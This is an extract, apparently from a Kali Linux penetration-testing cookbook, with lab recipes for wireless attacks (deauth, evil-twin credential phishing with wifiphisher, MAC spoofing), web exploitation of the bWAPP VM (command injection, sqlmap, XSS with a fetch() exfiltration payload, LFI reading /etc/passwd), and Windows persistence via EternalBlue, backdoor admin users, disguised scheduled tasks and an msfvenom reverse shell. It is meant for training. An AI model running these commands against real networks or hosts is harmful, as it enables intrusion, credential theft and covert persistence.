• The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (lsusb)
426 Wireless Warfare: Dominating the Airwaves
How to do it…
1. From Kali, open a web browser and go to the Opal travel router IP address
([Link] and log in.
2. From the main interface, click on WIRELESS, enable the 2.4 and 5 GHz radios, and set
their transmit power to Low. Change the SSID to different names and set SSID Visibility
to Hidden. Ensure you have WPA2-PSK for Wi-Fi Security, and set Wi-Fi Password to
goodlife.
6. Let’s start a packet dump with the following command. Then, look for <length: 0> in
the name, which denotes a hidden SSID, as shown in the figure that follows. I highlighted
the one with the BSSID we noted from the previous recipe. This way, you know which
one to target for our lab:
sudo airodump-ng --band abg wlan0mon
Tip
8. You can sit at this screen all day, and you will never see anything happen to that SSID.
This is because an access point transmits its SSIDs through beacons. However, when
they are hidden, it does not include the SSID in the beacons. To find it, you have to wait
until a client connects. Using your cell phone or another device, connect to the hidden
SSID with the name and credentials you created. As soon as you connect, you will see the
name discovered:
428 Wireless Warfare: Dominating the Airwaves
If you will not be continuing to the next recipe in a short period of time, I would suggest logging
back in to the Opal Wi-Fi router and disabling the wireless.
How it works…
When an AP is configured to hide its SSID, it does not include the network name in its beacon
frames. However, the AP still responds to probe requests from clients, and the responses include
the full SSID. Additionally, when a client device connects to a hidden SSID, it reveals the SSID as
part of the association request.
There’s more…
While some people still deploy hidden SSIDs, they offer no real protection against anyone with
basic wireless reconnaissance tools, as you have discovered through this recipe. Further, some
client devices misbehave when probing for hidden networks, actively broadcasting their presence
more aggressively and weakening overall privacy.
Getting ready
You need the following to complete this recipe:
How to do it…
1. From Kali, open Wireshark.
2. From the top menu, select File | Open, browse to /home/kali/wlan-hidden, and open
the hidden_ssid-[Link] file.
You will be presented with a list of the packets captured from the previous recipe.
5. Scroll down until you first see the device you connected to the access point in the last
recipe; for me, it was an Apple device. Note that the Apple device begins the connection
with packet 156, and the first indication of the SSID is sent from the Apple device to the
Opal travel router in packet number 160. Packet numbers will vary in your output:
6. On your device, find this first packet and expand it out and note where the SSID is indi-
cated in this packet. Expand the IEEE 802.11 Wireless Management section and then
Tagged parameters:
7. Expand the Tag: Supported Channels section, and you will see the channel listed that
we are monitoring:
8. When you are ready to move on after reviewing several of the different packets, you may
close Wireshark.
9. Open your file manager and browse to the /home/kali/wlan-hidden directory and view
the different types of files captured. Note the two files with kismet in their name. Kismet is
another very popular tool for network detection, packet sniffing, and intrusion detection.
These files are specifically formatted for ingestion by the Kismet tool.
Chapter 11 431
10. Now, open the file named hidden_ssid-[Link]. This is basically the representation of
the terminal output as we were running airodump-ng.
11. Next, open the hidden_ssid-[Link] file. You will note that this is a simplified packet
dump.
How it works…
In the previous recipe, we used -w to output information to files. This resulted in our ability to
use other tools and be offline while analyzing our data. Often, you may be working with several
attack vectors all at once, which does not offer you the ability to work with the output live. We
were able to use Wireshark to review the captured file. Further, we examined the available CSV files.
There’s more…
You can directly use Wireshark with the wireless adapter. First, you set up the wlan0mon interface,
then you can open Wireshark and select that interface for scanning. For more information, please
review [Link]
Getting ready
You need the following to complete this recipe:
• You must have completed the Building a WLAN testing environment recipe
• Kali Linux must be up and operational
• The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (lsusb)
How to do it…
1. From Kali, open a web browser and go to the Opal travel router IP address
([Link] and log in.
2. From the main interface, click on WIRELESS, enable the 2.4 or 5 GHz radios (I will be using
the 5 GHz radios to reduce interference with my production 2.4 GHz network), and set the
transmit power to Low. Change the SSID to Kali_Test and set SSID Visibility to Shown.
Ensure you have WPA2-PSK for Wi-Fi Security and set Wi-Fi Password to goodlife.
Chapter 11 433
Tip
Since I am using just the 5 GHz radio, I am limiting my scan to just that fre-
quency. If you opted to use the 2.4 GHz, remove the --band a part.
6. On the screen, look for the Kali_Test SSID. Make note of the channel and the BSSID.
7. Using a separate device (in my case, I used an Apple iPhone), connect to the Kali_Test
SSID and ensure connectivity.
8. Let’s make sure this AP matches the BSSID and the channel noted in the previous step:
sudo airodump-ng --bssid [Link] -c 36 wlan0mon
Tip
This will also help set the proper channel for the deauth attack.
9. Open a new terminal window, and we can prepare the deauth attack (do not press Enter
on this command yet!):
sudo aireplay-ng --deauth 0 -a [Link] wlan0mon
10. Before pressing Enter, open the Wi-Fi screen of the device you have connected to the
Kali_Test Wi-Fi network. Ensure it’s connected and watch it carefully.
11. Now, press Enter on the command you previously prepared.
12. Almost instantly, you will see the Wi-Fi on the device get disconnected from the Kali_Test
network.
Chapter 11 435
13. When done, you may close the terminal window with the deauth attack to end it.
14. In the terminal window, you can stop the dump with Ctrl + C.
15. To regain standard usage of your wireless adapter, enter the following:
sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager
If you will not be continuing to the next recipe in a short period of time, I would suggest logging
back in to the Opal Wi-Fi router and disabling the wireless.
How it works…
We begin sending deauthentication frames. These frames are unauthenticated in WPA2 and
earlier standards, meaning that any device in range can spoof the source address of the AP and
broadcast deauth frames to client devices. The client, believing the disconnection is legitimate,
drops the connection and attempts to reconnect.
By continuously sending deauth frames, we can prevent clients from connecting to the wireless
network, effectively creating a DoS condition. The AP itself remains operational, but its users
are unable to maintain connectivity. This attack is particularly effective on networks that do not
implement management frame protection (802.11w), which is optional in many environments.
There’s more…
While deauth attacks are easy to execute, they are also noisy and easily detected by wireless in-
trusion detection systems (WIDSs). Additionally, newer networks using WPA3 with mandatory
protected management frames (PMFs) are immune to this type of attack, as deauth frames must
be cryptographically signed to be accepted. This attack is commonly used in conjunction with
WPA2 handshake captures, rogue AP deployment, or evil twin scenarios.
Getting ready
You need the following to complete this recipe:
• You must have completed the Building a WLAN testing environment recipe
• Kali Linux must be up and operational
• The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (lsusb)
How to do it…
1. From Kali, open a web browser and go to the Opal travel router IP address
([Link] and log in.
2. From the main interface, click on WIRELESS, enable the 2.4 or 5 GHz radios (I will be using
the 5 GHz radios to reduce interference with my production 2.4 GHz network), and set the
transmit power to Low. Change the SSID to Kali_Test and set SSID Visibility to Shown.
Ensure you have WPA2-PSK for Wi-Fi Security and set Wi-Fi Password to goodlife.
6. Let’s start a dump and document the BSSID of the Kali_Test WLAN and the channel:
sudo airodump-ng --band a wlan0mon
10. From the output, we can see our test device connected:
11. Now, we are going to create a deauth attack to disconnect the client a couple of times. To
start, open a new terminal window and enter the following commands, as shown in the
figure that follows:
sudo aireplay-ng --deauth 5 -a [Link] wlan0mon
438 Wireless Warfare: Dominating the Airwaves
12. Run the preceding command two or three times, ensuring that your client reconnects to
that SSID.
Tip
When you are using a test device that connects to other, in-range SSIDs, if
you are not careful, it may not reconnect to the Kali_Test SSID. We need
some successful connections to be able to capture the proper handshake
packets for us to crack.
16. To regain standard usage of our wireless adapter, enter the following:
sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager
If you will not be continuing to the next recipe in a short period of time, I would suggest logging
back in to the Opal Wi-Fi router and disabling the wireless.
How it works…
WPA2-PSK protects wireless traffic by encrypting it with a key derived from the passphrase and
SSID. When a client connects to a WPA2-protected network, a four-way handshake occurs be-
tween the client and the AP. During this handshake, key material is exchanged in such a way that
anyone capturing the handshake can attempt to crack the password offline using dictionary or
brute-force attacks.
Getting ready
You need the following to complete this recipe:
• You must have completed the Building a WLAN testing environment recipe
• Kali Linux must be up and operational
• The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (lsusb)
• Additional wireless devices are needed for testing
440 Wireless Warfare: Dominating the Airwaves
How to do it…
1. From Kali, open a web browser and go to the Opal travel router IP address
([Link] and log in.
2. From the main interface, click on WIRELESS, enable the 2.4 or 5 GHz radios (I will be using
the 5 GHz radios to reduce interference with my production 2.4 GHz network), and set the
transmit power to Low. Change the SSID to Kali_Test and set SSID Visibility to Shown.
Ensure you have WPA2-PSK for Wi-Fi Security and set Wi-Fi Password to goodlife.
3. You may now close the web browser.
4. From Kali, open a terminal window and enter the following commands to prepare your
wireless card:
sudo airmon-ng check kill
sudo airmon-ng start wlan0
5. Let’s start a dump and document the BSSID of the Kali_Test WLAN and the channel:
sudo airodump-ng --band a wlan0mon
8. Connect to Kali_Test from another device or computer. Look for the device with a large
number of frames and capture its station MAC address ([Link]):
Tip
Because you can see the MAC address of the client device easily, it’s best to be
able to do an Organizationally Unique Identifier (OUI) lookup (https://
[Link]/tools/[Link]) to determine the type of
device. For instance, you can determine the manufacturer of the device from
the lookup. If you see Epson or Brother, it’s a good chance it’s a printer and
may be susceptible to the attack.
9. From the device you are connected with, you can validate the MAC address and also
document the IP address you received ([Link]).
10. You could further view this information by logging into the Opal router and clicking on
CLIENTS.
11. Disconnect the device that was connected with the MAC address listed.
12. We want to put our device back into a standard mode to attempt a connection. Use the
following:
sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager
13. Let’s change our wireless MAC address to that of the device, as shown in the figure that
follows:
sudo ip link set wlan0 down
sudo macchanger -m [Link] wlan0
sudo ip link set wlan0 up
442 Wireless Warfare: Dominating the Airwaves
15. Let’s see what we have for an IP address and MAC address using ifconfig :
You will see we have the same IP address and the device you connected with before, and
the MAC address is the one we changed to.
16. Now, we must revert our changes to our normal operating state:
sudo ip link set wlan0 down
sudo macchanger -p wlan0
sudo ip link set wlan0 up
sudo nmcli connection delete Kali_Test
If you will not be continuing to the next recipe in a short period of time, I would suggest logging
back in to the Opal Wi-Fi router and disabling the wireless.
Chapter 11 443
How it works…
You put the wireless adapter into monitor mode, and using airodump-ng, you can observe which
MAC addresses are currently connected to the network. Once a valid MAC address is identified,
tools such as macchanger can be used to spoof your interface to match that address. If the network
is open or uses a known WPA2 password, you can then connect as that client. In environments
with MAC filtering but no other authentication, this may be all that’s needed to gain access. In
networks with shared WPA2 keys, spoofing the MAC can allow you to hijack a session or avoid
detection.
MAC address spoofing is one of the simplest and most widely used evasion techniques in wireless
attacks. It can be used not only to bypass MAC filters but also to anonymize the attacker’s hardware,
impersonate trusted devices, or evade network detection systems that log hardware identities.
See also
More information on macchanger can be found at [Link]
gathering/macchanger.
Getting ready
You need the following to complete this recipe:
• You must have completed the Building a WLAN testing environment recipe
• Kali Linux must be up and operational
• The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (lsusb)
• An additional wireless device is needed for testing
444 Wireless Warfare: Dominating the Airwaves
How to do it…
1. First, install or ensure that wifiphisher is installed by opening a terminal window and
typing the following:
sudo apt update
sudo apt install wifiphisher
Tip
Let’s say you were in a coffee shop, then you would want to use the name
of their Wi-Fi. Wifiphisher will automatically start sending deauth pack-
ets to the legitimate Wi-Fi APs in the hope of forcing connections to your
spoofed one.
3. You will be presented with a menu of attack vectors. Choose OAuth Login Page:
8. When you connect and provide the credentials, you will see all of the entered information
populate on your attack status screen, where you can document the information collected:
9. From the terminal window, press Esc to exit wifiphisher. Note that on shutdown, it will
show the captured credentials again:
Chapter 11 447
How it works…
Public Wi-Fi networks often use captive portals to require user interaction before granting internet
access. This interaction typically takes the form of an HTTP redirect to a branded login or terms
acceptance page. When a victim connects to the rogue AP, wifiphisher uses its built-in DHCP,
DNS spoofing, and HTTP server modules to redirect all web traffic to the attacker’s phishing
page. The victim is tricked into entering their credentials into what they believe is a legitimate
login form. Once submitted, these credentials are logged and stored. Because many users reuse
passwords across multiple platforms, even a simple social login can give an attacker access to
valuable accounts and identity information.
See also
For more information on the capabilities of wifiphisher, check out its web page at https://
[Link].
Getting ready
You need the following to complete this recipe:
• You must have completed the Building a WLAN testing environment recipe
• Kali Linux must be up and operational
• The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (lsusb)
• An additional wireless device is needed for testing
How to do it…
1. First, install or ensure that wifiphisher is installed by opening a terminal window and
typing the following:
sudo apt update
sudo apt install wifiphisher
Tip
You could be outside an office building and use this attack, as the Wi-Fi will
bleed through the walls. Another great time is around lunch and breaks on
nice days when people may go outside. This will try and deauth clients from
the corporate Wi-Fi network and force them to connect to yours.
3. You will be presented with a menu of attack vectors. Choose Network Manager Connect.
4. From a test device, connect to the Corporate Wi-Fi network:
5. Within a moment, a captive portal page should load. We are looking to try and capture
the Wi-Fi password. Enter something here:
Tip
Even if the user does not know the password, they can get it from the help
desk. The artifacts presented on this page would be sufficient to trick the
user into describing the Wi-Fi login that someone would receive.
6. On your attack status screen, you will see the credentials you entered:
7. From the status screen, press Esc to exit and note the passwords captured – I connected
from two different devices:
How it works…
Most client devices automatically attempt to reconnect to known SSIDs. We can take advantage of
this by broadcasting a rogue AP that clones the SSID of a corporate network, typically protected by
a password. Since the real AP is not broadcasting in the attacker’s location or has been temporarily
deauthenticated, the victim device associates with the rogue AP. Once connected, wifiphisher
launches a phishing attack, prompting the user to enter the Wi-Fi password. When the user sub-
mits the password, it is captured and then can be used to authenticate to the legitimate network.
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require an invoice.
12
Web Warriors: Exploiting
Online and Database
Vulnerabilities
The web is the most exposed surface of any organization. Public websites, content management
systems (CMSs), API endpoints, and backend databases – these exposed services are constant
targets for attackers seeking to steal data, deface content, or gain a foothold into deeper systems.
As a penetration tester, understanding how to analyze and exploit these components is critical
to uncovering security flaws that can be taken advantage of.
In this chapter, you’ll conduct reconnaissance to uncover web technologies, fingerprint CMS
platforms, and identify common misconfigurations and outdated software. Then, you’ll escalate
your efforts with tools that scan for vulnerabilities, exploit command injection points, and pull
sensitive data through SQL injection. Each recipe walks you through practical scenarios.
Technical requirements
We will be using Kali Linux and BeeBox’s bWAPP VM for most of the testing.
Getting ready
We need the following to complete this recipe:
How to do it…
1. Open up a terminal window in Kali.
2. Start by installing EyeWitness using the following:
sudo apt update
sudo apt install eyewitness photon
3. Now run Photon against our target VM (BeeBox). This will allow us to get a list of URLs
to scan. Use the following:
cd
photon -u [Link] -o photon-results
Chapter 12 453
4. Let’s review the URLs that Photon collected using the following:
cd photon-results
cat [Link]
cat ~/photon-results/[Link] | sort -u > [Link]
5. Now run EyeWitness against the list of URLs to capture screenshots and other valuable
information:
eyewitness --web -f [Link] -d ~/bwapp_ew --no-prompt --no-
dns
6. Let’s now examine our results. Click on the folder icon and select bwapp_ew and then
Open Folder.
8. Scroll through the report and examine the information provided. Collecting this infor-
mation will help you target attacks based on what you learn regarding the underlying
programs and structure of the site.
How it works…
We combine two tools to simulate the early reconnaissance phase of a web-based attack. Photon
is a crawler that parses a target website to discover internal and external links, scripts, files, forms,
and other key assets. It builds a detailed inventory of endpoints that may later be exploited. Once
Photon has mapped out the site, the collected URLs are passed to EyeWitness, which visits each
address, captures a screenshot, and collects HTTP response headers and metadata. EyeWitness
then compiles all of this into a report, giving us a visual overview of the target.
See also
For more on these tools, check out the following resources:
• [Link]
• [Link]
456 Web Warriors: Exploiting Online and Database Vulnerabilities
Getting ready
We need the following to complete this recipe:
How to do it…
1. Open up a terminal window in Kali.
2. Launch Nikto against our target VM, as shown:
cd
nikto -h [Link] -o nikto_bwapp.txt
You will see entries that will be marked as interesting, areas pointing to vulnerabilities,
or specific details of a flaw.
How it works…
We used Nikto to scan the bWAPP lab environment and let it enumerate vulnerabilities with no
authentication required. While Nikto doesn’t exploit these flaws, it quickly identifies flaws that
could lead to more serious issues if left unaddressed. Nikto performs thousands of checks for
common misconfigurations, outdated software, exposed files, and other known issues using its
signature database.
See also
For more on Nikto and its capabilities, check out the following:
• [Link]
• [Link]
Getting ready
We need the following to complete this recipe:
How to do it…
1. Open a terminal window on Kali.
2. Let’s launch Skipfish against our target VM, as shown:
cd
skipfish -o bwapp [Link]
We will be presented with a screen with some instructions. The scan will start automat-
ically, or you can press a key to begin it immediately.
Skipfish will launch, and you will be presented with a statistics screen to track the prog-
ress of the scan.
Tip
3. To see more details regarding the current process, select this screen by pressing the space-
bar. Pressing the spacebar again will return you to the statistics screen.
460 Web Warriors: Exploiting Online and Database Vulnerabilities
4. Once completed, open your file, navigate to the bwapp folder, and open it.
5. Scroll through and find and click on the [Link] file to be presented with the Skipfish
report.
6. Scroll through the report and expand some of the issues discovered. For instance, you will
see PHP and Java being used, which will allow you to direct attacks toward those packages.
7. Click on show trace next to one of the issues to pull up more detailed information on
what has been discovered.
How it works…
Skipfish targeted a vulnerable web application in your lab environment, where it crawled hun-
dreds of pages and submitted form inputs to test for common flaws. The result is an HTML report
of the issues by severity and category. Skipfish operates by recursively crawling the target site,
building a sitemap, and performing a series of vulnerability checks, such as XSS, SQL injection,
SSL certificate issues, and information disclosure.
See also
For additional learning and examples of using Skipfish, visit [Link]
skipfish/.
Getting ready
We need the following to complete this recipe:
How to do it…
1. Open a terminal window in Kali.
2. Let’s install zaproxy using the following:
cd
sudo apt update
sudo apt install zaproxy
4. When it launches, it will ask whether you want to persist the session. Select the yes option
that mentions specifying the name and location and select Start.
Chapter 12 463
You will then see the installed add-ons and the marketplace of available add-ons.
6. You can hit the blue X icon in the upper right-hand corner when you are ready to continue.
7. Select the Automated Scan option on the right pane.
8. Enter the web address of the bWAPP server, [Link] and then click
Attack.
9. Once complete, in the lower left, you will be presented with the alerts that correspond
to the site scanned.
Chapter 12 465
Selecting one of the alerts will provide you with detailed information, including details
of the alert, the header, and the body of the related alert.
How it works…
In this recipe, ZAP was used to scan a vulnerable web application in your lab environment. The
tool crawled the application, mapped the site’s structure, and executed vulnerability tests. When
done, it provided a report showing identified issues, categorized by type and severity. This tool
helps move from reconnaissance directly into vulnerability discovery.
See also
To dive deeper into ZAP, check out the following website:
[Link]
Getting ready
We need the following to complete this recipe:
How to do it…
1. Open a terminal window in Kali.
2. Start by installing a compatible version of Python, as shown:
cd
sudo apt update
sudo apt install -y build-essential libssl-dev zlib1g-dev
libncurses5-dev libncursesw5-dev libreadline-dev libsqlite3-dev
libgdbm-dev libdb5.3-dev libbz2-dev libexpat1-dev liblzma-dev tk-dev
python3-pip python3-venv git
cd /usr/src
Chapter 12 467
The latest version of Kali ships with a newer version of Python that has some deprecated
packages that Droopescan requires. Therefore, we have to add a compatible version.
Tip
Note how your prompt changes to indicate the Python virtual environment
you are in.
4. Let’s run Droopescan to collect information such as loaded plugins and version informa-
tion against the Drupal environment on our target VM:
python [Link] scan drupal -u [Link]
5. Examine the output on the screen. You will see the installed plugins, themes, version, and
any interesting URLs exposed. This provides you with the information you need to attack
the Drupal environment.
468 Web Warriors: Exploiting Online and Database Vulnerabilities
6. If you want to save the output for later use, you can send it to a file using the following:
python droopescan scan drupal -u [Link] > ds-
[Link]
Tip
Note the prompt changes to indicate you have exited the virtual environment.
How it works…
In this recipe, Droopescan was run against a vulnerable Drupal. It uses fingerprinting and enumer-
ation to analyze the target CMS installation. The tool identified the core version of Drupal, listed
publicly accessible modules and themes, and revealed files that could provide useful versioning
or configuration data. Droopescan can also be used against Joomla and other CMS installations.
See also
For additional information on Droopescan, please refer to the following website: [Link]
com/droope/droopescan.
Chapter 12 469
Getting ready
We need the following to complete this recipe:
How to do it…
1. Open a terminal window in Kali.
2. Launch Burp Suite using the following:
cd
burpsuite
3. Once it starts, you will be asked whether you would like to open or create a project. The
only accessible option will be to select a temporary project in memory and then select Next.
Tip
Many features, including the ability to save and open projects, are not avail-
able in the community edition. If interested, you may obtain a 30-day eval-
uation license, but it is not required for our lab.
4. When asked to select the configuration for the project, simply select Use Burp defaults
and then select Start Burp.
5. Once Burp Suite has started, you may open Firefox.
6. From Firefox, open the settings page.
470 Web Warriors: Exploiting Online and Database Vulnerabilities
7. Once in General, scroll all the way to the bottom and select Settings… under Network
Settings.
8. Under Connection Settings, we want to set Burp Suite as our proxy. Select Manual proxy
configuration, then enter the proxy address [Link] and port 8080, and select Also
use this proxy for HTTPS. Then select OK.
Chapter 12 471
11. Once there, log in by using the username bee and password bug, setting the security level
to low, and clicking Login:
12. In the upper right-hand corner, where it says Choose your bug, select OS Command
Injection and then click Hack.
13. You will be presented with the OS Command Injection screen. [Link] will be
prepopulated; go ahead and select Lookup. You will be presented with a timeout error
message after a few seconds.
Tip
14. Now let’s see what happens when we add a Unix command after the lookup. This time,
enter [Link] ; whoami.
15. Examine the output closely. You will notice the same timeout error message as before,
but there is a bit more information at the end. You can see who this web app is running
as (www-data).
Tip
Try using this method to obtain some other information. One thing to try
is to list the passwd file using cat – give it a try.
16. Let’s do something a bit more interesting with that information. At the top, record the
address/URL: [Link]
17. Move over to the Burp Suite information. You will see that it has been collecting all of our
communication with the BeeBox VM. When it’s finished with the examination, select
Target at the top.
474 Web Warriors: Exploiting Online and Database Vulnerabilities
18. From the target screen, expand the file tree on the left and select [Link]. Take a
look at the Request field, specifically the cookie information, so we can collect our session
ID for the next step.
Tip
This exploit will take a couple of minutes to perform because of its inability
to resolve DNS entries.
21. To demonstrate our access, we can run a couple of commands. Each command will take
a minute or so to run, so be patient:
ls
whoami
476 Web Warriors: Exploiting Online and Database Vulnerabilities
22. You may now exit from the Commix terminal window.
We are going to use Burp Suite for the next recipe. Please proceed directly there; otherwise, if you
are done, please clean up your environment by restoring Firefox, removing the proxy settings,
and exiting Burp Suite.
How it works…
In this recipe, you first used Burp Suite to intercept and analyze a request made to a vulnerable
page in the bWAPP application. By capturing and inspecting the HTTP request, you identified
the necessary parameters to use for the attack. That data was then passed to Commix, a tool that
performs command injection attacks. Commix tested the application and allowed command
execution through a shell.
See also
More information on command injection and Commix can be found at the following sites: https://
[Link]/commixproject/commix and [Link]
Injection.
Getting ready
• A Kali Linux VM that is up and operational
• A BeeBox bWAPP VM that is up and operational
• Burp Suite and Firefox configured per the Performing a command injection attack recipe
How to do it…
1. Open your browser and go to [Link] Log in and set the security
level to low.
2. Under Choose your bug, select SQL Injection (GET/Search) and then Hack.
3. This will bring you to the Search for a movie box. Enter man and click Search. Note the
web address.
4. Let’s see whether this application is vulnerable to an injection in the search field. Enter
the following to see whether it provides a result:
' union select 1,2,3,4,5,6,7#
5. Move over to Burp Suite, navigate to sqli_1.php, and record the cookie information.
7. Note that it has identified the backend information and the available databases.
8. Let’s look into one of the identified databases using the following:
sqlmap -u "[Link]
--cookie="<PASTE YOUR COOKIE>" -D bWAPP --tables --dbs
9. Note that you now have a list of the tables in the bWAPP database.
You will see that sqlmap has identified password hashes and is asking for additional in-
structions.
• Store hashes – N
• Crack hashes – Y
• Dictionary to use – 1 (default)
• Common password suffixes – N
12. You will see that it has been able to crack several hashes.
13. You will now see the user table dump, which has additional details in it.
14. You may now exit from the sqlmap terminal window.
We are going to use Burp Suite for the next recipe. Please proceed directly to that recipe. Otherwise,
if you are done, clean up your environment by restoring Firefox, removing the proxy settings, and
exiting Burp Suite.
How it works…
SQL injection occurs when user-supplied input is included directly in a SQL query without proper
validation or sanitization. By providing the target URL and session cookie to maintain authen-
ticated access, sqlmap is able to identify the injection point, enumerate available databases, and
extract the contents of specific tables.
482 Web Warriors: Exploiting Online and Database Vulnerabilities
See also
More information on SQL injection can be found at the following websites:
• [Link]
• [Link]
Getting ready
• A Kali Linux VM that is up and operational
• A BeeBox bWAPP VM that is up and operational
• Burp Suite and Firefox configured per the Performing a command injection attack recipe
How to do it…
1. Navigate to [Link] and log in to the Beebox bWAPP site. Ensure
you set the security level to low. .
2. Under Choose your bug, select Cross-Site Scripting - Reflected (GET) and then select
Hack.
3. Enter a first name and last name and select Go. Note the URL.
4. Let’s test whether the site is vulnerable to an XSS attack. Enter a name in the First name
field and the following string in the Last name field, and select Go as shown in the figure
below:
<script>alert('test')</script>
We now see with a popup that it’s vulnerable and we exposed it.
5. Moving over to Burp Suite, grab your cookie information by selecting xss_get.php.
6. Open a terminal window. To verify XSS vulnerability with XSSer, type the following:
xsser -u [Link] -g "/bWAPP/xss_get.
php?firstname=john&lastname=XSS&form=submit" --cookie="<YOUR COOKIE
INFO>" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"--auto
8. Now try and capture some information from the user connecting through a crafted link,
as shown:
xsser -u [Link] -g "/bWAPP/xss_get.
php?firstname=john&lastname=<script>fetch('[Link]
script>&form=submit" --cookie="<YOUR COOKIE INFO>" --user-
agent="Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101
Firefox/128.0" --auto
The script injected will register any IP address that used this link to connect:
9. You may now exit the terminal window that’s running the Python HTTP server.
We are going to use Burp Suite for the next recipe. Please proceed directly there. Otherwise, if
you are done, clean up your environment by restoring Firefox, removing the proxy settings, and
exiting Burp Suite.
How it works…
We used XSSer to automate the discovery and exploitation of XSS vulnerabilities. XSSer tested
multiple payloads and identified those that successfully executed. In a reflected XSS attack, the
malicious script is embedded in a URL parameter and reflected back in the HTTP response. If
the application doesn’t properly escape or filter this input, the browser will execute the script
as part of the page.
Chapter 12 487
See also
For more information on XSSer, check out the site: [Link]
Getting ready
• A Kali Linux VM that is up and operational
• A BeeBox bWAPP VM that is up and operational
• Burp Suite and Firefox configured per the Performing a command injection attack recipe
How to do it…
1. Navigate to [Link] and log in to the Beebox bWAPP site. Ensure
you set the security level to low..
2. Under Choose your bug, select Remote & Local File Inclusion (RFI/LFI) and then click
Hack.
4. Now check whether the site is vulnerable by injecting the attack through the URL:
[Link]
passwd&action=go
5. Check the output. You will see that we have extracted the passwd file.
Chapter 12 489
6. Let’s get our cookie information from Burp Suite by navigating to [Link] on the left.
7. Open a terminal window in Kali and let’s use ffuf to discover any hidden files or other
possible entry points:
ffuf -u "[Link]
-H "<YOUR COOKIE INFORMATION>" -w /usr/share/seclists/Fuzzing/LFI/
[Link] -c
Tip
It is important to note that in the preceding example, you must precede the
cookie information with Cookie:.
8. You can see from the results that there is a large amount of information regarding potential
files we can test against.
9. Let’s capture some interesting files, starting with the passwd file:
curl -s -H "<YOUR COOKIE INFORMATION>" "[Link]
[Link]?language=../../../etc/passwd&action=go"
10. Scroll through the output and you will see that we captured the passwd file:
12. Scroll through the output and you will see that we captured the group file.
13. Let’s get some system information that may help us better attack the application:
curl -s -H "<YOUR COOKIE INFORMATION>" "[Link]
[Link]?language=../../../proc/version&action=go"
14. Scroll through the output and you will see that we captured some system information.
17. You may now close Burp Suite and exit out of all terminal windows.
How it works…
File inclusion vulnerabilities occur when a web application dynamically includes files based on
user supply. By manipulating parameters, we were able to force the server to include and display
files that were never intended to be accessed, including sensitive system files, application con-
figurations, or even logs. By providing a known list of LFI payloads and supplying our session
cookie, we were able to extract sensitive files and information. This collected information can
help us identify attack vectors or other possible entry points that may be vulnerable to attack.
See also
For more information on file inclusion, please take a look at this site: [Link]
community/attacks/Path_Traversal.
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require an invoice.
13
Persistence Pays: Securing
Long-Term Access
In this chapter, you will explore the techniques and tools used to maintain long-term access to
compromised systems. While gaining initial access is often the focus of many attacks, persistent
access is what enables an intruder to extract value over time, evade detection, and survive sys-
tem reboots or security interventions. Whether through creating hidden user accounts, planting
malicious code that runs at startup, or establishing covert communication channels, persistence
is a critical phase of the attack life cycle.
You will learn how to use system features to embed access. These techniques use standard admin-
istrative tasks but are executed with stealth in mind. You will also examine ways to communicate
with compromised systems in ways that mimic normal traffic or encrypt payloads to hide from
intrusion detection and prevention systems.
Technical requirements
You will only need access to the Kali and Metasploitable machines for this chapter.
Getting ready
You will need the following to complete this recipe:
How to do it…
1. Open a terminal window in Kali Linux.
2. Start Metasploit as shown:
sudo msfdb run
3. Use the following to compromise your Windows VM, as also shown in the figure that
follows:
use exploit/windows/smb/ms17_010_eternalblue
set RHOST [Link] (IP of Windows Target)
set LHOST [Link](IP Of Kali VM)
run
This will successfully exploit the Windows target VM and open a Meterpreter session:
4. Let’s create a new user in Windows, using the following code, that will allow us to gain
access in the future, as shown in Figure 13.3:
getuid
execute -f [Link] -i -H -C
net user cassian password123! /add
net localgroup administrators cassian /add
Tip
It’s important to add users based on the format of the system. As an exam-
ple, we used a Star Wars character as opposed to a Star Trek character, as it
would have stood out more. In reality, on a system where all the users’ logins
are first initial and last name, adding john or johndoe as opposed to jdoe
would again have stood out.
5. Now, let’s add persistence in case someone discovers and deletes our backdoor user, as
shown in the figure that follows:
schtasks /create /tn "SystemUpdate" /tr "cmd /c net user cassian
password123!" /sc onstart /ru System
Tip
6. We can now exit the Meterpreter session and exit the terminal window.
How it works…
First, we gained initial access to a Windows system; then, we created a new user and added them
to the local administrators group. By adding the user to the administrators group, the attacker
ensures that this account has full control over the system. The attacker can then log in via RDP,
SMB, or any other enabled service to regain access without raising red flags.
See also
There is more information available regarding this attack on the following website: https://
[Link]/techniques/T1136/001/.
Chapter 13 499
Getting ready
You will need the following to complete this recipe:
How to do it…
1. Open a terminal window in Kali Linux.
2. Let’s create a payload to use for persistence, as shown here and in the figure that follows:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[Link]
LPORT=5552 -f exe -o [Link]
3. Start Metasploit
sudo msfdb run
4. Let’s compromise our Windows VM, as shown here and in the figure that follows:
use exploit/windows/smb/ms17_010_eternalblue
set RHOST [Link](IP of Windows Target)
set LHOST [Link] (IP Of Kali VM)
run
500 Persistence Pays: Securing Long-Term Access
This will successfully exploit the Windows target VM and open a Meterpreter session.
5. Now, let’s upload the exploit and add a Windows task to the Task Manager for our Win-
dows VM:
upload [Link] c:\\windows\\temp\\[Link]
schtasks /create /tn "AntiVirusUpdate" /tr "c:\windows\temp\[Link]"
/sc onstart /ru SYSTEM
7. Let’s create a new listener, as shown here and in the figure that follows:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST [Link]
set LPORT 5552
run
Tip
One way to get a system to reboot is to cause the system to crash. There are
times when you may not be able to gain access and may need to force the
system to crash.
9. Once the Windows target reboots, if the listener is running, you will have a Meterpreter
shell:
10. Go ahead and check your authority, as shown here and in the figure that follows:
getuid
11. You can now exit the session and the terminal window.
How it works…
This technique leverages the Windows Task Manager to ensure the reverse shell payload is auto-
matically executed after every system startup. By creating a scheduled task with the /sc onstart
and /ru SYSTEM options, the payload runs as soon as the machine boots. The windows target
